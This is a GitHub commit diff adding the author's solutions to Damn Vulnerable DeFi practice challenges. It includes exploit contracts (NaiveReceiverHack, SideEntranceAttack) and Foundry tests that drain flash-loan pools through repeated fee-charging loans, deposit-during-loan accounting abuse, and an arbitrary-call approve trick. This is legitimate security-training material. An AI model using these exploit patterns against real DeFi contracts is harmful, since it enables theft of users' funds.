Skip to content

Commit

Permalink
a
Browse files Browse the repository at this point in the history
  • Loading branch information
6boris committed Oct 12, 2023
1 parent 9de5c52 commit 33b4892
Show file tree
Hide file tree
Showing 7 changed files with 146 additions and 6 deletions.
15 changes: 15 additions & 0 deletions contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

/**
* @title DamnValuableToken
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/

contract DamnValuableToken is ERC20 {
constructor() ERC20("DamnValuableToken", "DVT") {
_mint(msg.sender, type(uint256).max);
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPool {
function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);
}

contract NaiveReceiverHack {
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
IPool pool;
address receiver;

constructor(address _pool, address _receiver) {
pool = IPool(_pool);
receiver = _receiver;
}

function attack() public {
for (uint256 i = 0; i < 10; i++) {
pool.flashLoan(receiver, ETH, 0, "0x");
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -2,14 +2,15 @@

pragma solidity ^0.8.0;

import "@openzeppelin/contracts-v4.7.1/utils/Address.sol";
import "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol";
import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol";

/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/

contract TrusterLenderPool is ReentrancyGuard {
using Address for address;

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -46,3 +46,35 @@ contract SideEntranceLenderPool {
}
}
}

interface IPool {
function flashLoan(uint256 amount) external;
function deposit() external payable;
function withdraw() external;
}

contract SideEntranceAttack {
IPool immutable pool;
address immutable player;

constructor(address _pool, address _player) {
pool = IPool(_pool);
player = _player;
}

function attack() external {
pool.flashLoan(address(pool).balance);
pool.withdraw();
(bool isSuccess,) = player.call{ value: address(this).balance }("");
require(isSuccess, "SideEntranceAttack attack");
}

function execute() external payable {
require(tx.origin == player);
require(msg.sender == address(pool));

pool.deposit{ value: msg.value }();
}

receive() external payable { }
}
1 change: 1 addition & 0 deletions foundry.toml
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,7 @@
mainnet = "https://eth-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
goerli = "https://eth-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
sepolia = "https://eth-sepolia.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
holesky = "https://ethereum-holesky.publicnode.com"

polygon = "https://polygon-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
mumbai = "https://polygon-mumbai.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
Expand Down
10 changes: 7 additions & 3 deletions foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,8 @@ import { FlashLoanReceiver } from "@contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-
import { NaiveReceiverLenderPool } from
"@contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverLenderPool.sol";

import { NaiveReceiverHack } from "@contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverHack.sol";

/*
https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/
Expand Down Expand Up @@ -55,9 +57,11 @@ contract Naive_Receiver_02_Test is Test {

function test_Exploit() public {
/* START CODE YOUR SOLUTION HERE */
for (uint256 i = 0; i < 10; i++) {
pool.flashLoan(receiver, pool.ETH(), 0, "0x");
}
// for (uint256 i = 0; i < 10; i++) {
// pool.flashLoan(receiver, pool.ETH(), 0, "0x");
// }
NaiveReceiverHack hackInst = new NaiveReceiverHack(address(pool), address(receiver));
hackInst.attack();
/* END CODE YOUR SOLUTION */

vm.stopPrank();
Expand Down
64 changes: 64 additions & 0 deletions foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Test } from "forge-std/Test.sol";
import { Vm } from "forge-std/Vm.sol";
import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol";
import { TrusterLenderPool } from "@contracts/CTF/Damn-Vulnerable-DeFi/03.Truster/TrusterLenderPool.sol";

/*
https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/
forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol -vvvvv
*/

contract Truster_03_Test is Test {
// hacking attack address
address private deployer = address(1);
address private feeRecipient = address(2);
address private player = address(2333);

TrusterLenderPool private pool;
DamnValuableToken private token;
uint256 TOKENS_IN_POOL = 1_000_000 ether;

function setUp() public {
vm.startPrank(deployer);
vm.deal(deployer, type(uint256).max);
_before();
vm.stopPrank();

vm.startPrank(player);
}

function _before() public {
/* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
token = new DamnValuableToken();
pool = new TrusterLenderPool(token);
token.transfer(address(pool), TOKENS_IN_POOL);
assertEq(pool.token().balanceOf(address(pool)), TOKENS_IN_POOL, "");
}

function test_Exploit() public {
/* START CODE YOUR SOLUTION HERE */

// cast abi-encode "approve(address,uint256)" 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 1
bytes memory _callData = abi.encodeWithSignature("approve(address,uint256)", player, TOKENS_IN_POOL);
pool.flashLoan(0, player, address(token), _callData);
token.transferFrom(address(pool), player, TOKENS_IN_POOL);

/* END CODE YOUR SOLUTION */
vm.stopPrank();
_after();
}

function _after() public {
/* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

// It is no longer possible to execute flash loans
vm.startPrank(deployer);
assertEq(token.balanceOf(player), TOKENS_IN_POOL, "player");
assertEq(token.balanceOf(address(pool)), 0, "pool");
vm.stopPrank();
}
}

0 comments on commit 33b4892

Please sign in to comment.